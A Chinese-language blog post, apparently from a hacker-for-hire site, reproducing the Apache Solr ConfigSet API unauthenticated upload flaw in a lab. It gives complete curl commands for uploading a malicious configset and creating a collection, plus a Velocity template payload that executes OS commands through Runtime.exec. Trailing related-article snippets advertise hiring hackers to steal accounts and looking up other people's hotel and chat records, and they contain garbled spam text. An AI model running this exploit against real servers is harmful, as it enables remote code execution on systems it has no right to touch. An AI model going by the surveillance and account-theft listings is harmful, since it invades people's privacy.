Apche Solr 未授权上传漏洞(CVE

访客4年前关于黑客接单1187

之前看某大佬的文章,自己跟着复现的,大佬腻害~~如有错误纯属我理解错误,还望指正~ヽ( ⌒ω⌒)人(=^‥^=)?

0x00 漏洞描述

在特定的Solr版本中ConfigSet API存在未授权上传漏洞,攻击者利用漏洞可实现远程代码执行。

整个利用链流程:
上传configset——基于configset再次上传configset(跳过身份检测)——利用新configset创造collection——利用solrVelocity模板进行RCE

影响范围

Apache Solr 6.6.0 -6.6.5
Apache Solr 7.0.0 -7.7.3
Apache Solr 8.0.0 -8.6.2

0x01 环境搭建

solr下载地址:http://archive.apache.org/dist/lucene/solr/(本次复现环境为8.0.0)

靶机:win10 IP地址:192.168.41.129
攻击机:kali IP地址:192.168.41.132


C:\复现\solr-8.0.0\bin>solr.cmd start –c

0x02 漏洞复现

1、解压solr-8.0.0.zip并将解压后的文件切换到/solr-8.0.0/solr-8.0.0/server/solr/configsets/_default/conf目录,找到solrconfig.xml文件,并将velocity.params.resource.loader.enabled的false修改为true,即:
name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:true}

并将修改后的solr-8.0.0 放到kali中

2、 然后在kali中server/solr/configsets/_default/conf/目录下打开终端,执行命令将conf目录下所有文件打包成一个压缩文件mytest.zip

zip -r - * > mytest.zip

3、由于ConfigSet API存在未授权上传, 上传mytest.zip到win10

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @mytest.zip http://192.168.41.129:8983/solr/admin/configs?action=UPLOAD&name=mytest

根据CREATE得到的新configset创建恶意collection:

curl "http://192.168.41.129:8983/solr/admin/collections?action=CREATE&name=mytest2

&numShards=1&replicationFactor=1&wt=xml&collection.configName=mytest"

在kali的浏览器中输入地址,即可利用已上传的collection进行远程命令执行,这里执行的是whoami

http://192.168.41.129:8983/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

PS:本文仅用于渗透测试学习,勿用于非授权测试。。可在虚拟机完成环境搭建与测试



相关文章

一分钟教你蓝牙耳机怎么用(超简单)

一分钟教你蓝牙耳机怎么用(超简单)

蓝牙耳机作为一种 高科 技时代下的产物,将蓝牙技术应用在了免持耳机装置上,这样一来,帮助大家解决了电线的牵绊问题,更加可以让消费者、老百姓以一种更加轻松的方式,随时随地进行通话。尤其是针对开车的朋友来...

怎么才能老公的微信聊天记录

. 有研究表明,宝宝出生时的体重是对大脑发育有一定的影响,如果发现宝宝有体重过轻,一定要注意及时补充营养,那么慢,宝宝出生时体重受那些因素影响呢?接下来友谊长存小编就来说一说。 宝宝出生体重会影响...

手机话费短信查询公安网同住人怎么查查一个人的开房记录身份证开房了怎么查

手机话费短信查询公安网同住人怎么查查一个人的开房记录身份证开房了怎么查春节联欢晚会是中国新年的一大特点,但大牌明星们在春节联欢晚会上出面并不易。短文和相声小品一直是春节联欢晚会不可或缺的保留节目。前段...

黑客网站找黑客-黑客才能看懂的昵称

黑客网站找黑客-黑客才能看懂的昵称

黑客网站找黑客相关问题 如何成为一位手机黑客相关问题 用手机如何成为黑客 icp备案查询(icp备案查询站长)...

在一起李天然原型人物是谁 李沁的原型是谁

在一起的我的名字叫大连市模块中,胡冰卿扮演的是护士小姐姐李天然,在剧里她由于劳累过度生病了,可是她仍然叮嘱大伙儿要保护好自己,那麼李天然原形角色到底是谁?胡冰卿的原形到底是谁?下边我产生详细介绍。...

别人找黑客花钱盗号,黑客怎么黑网站

一、别人花钱盗号怎么找黑客 1、黑客接单我自己的笔记本电脑长期以来一直被冰川木马蠕虫击中。这一次,他在JargonFile中对黑客这个词给予了很多定义,其中大部分都涉及到精湛的编程别人花钱盗号联盟刷在...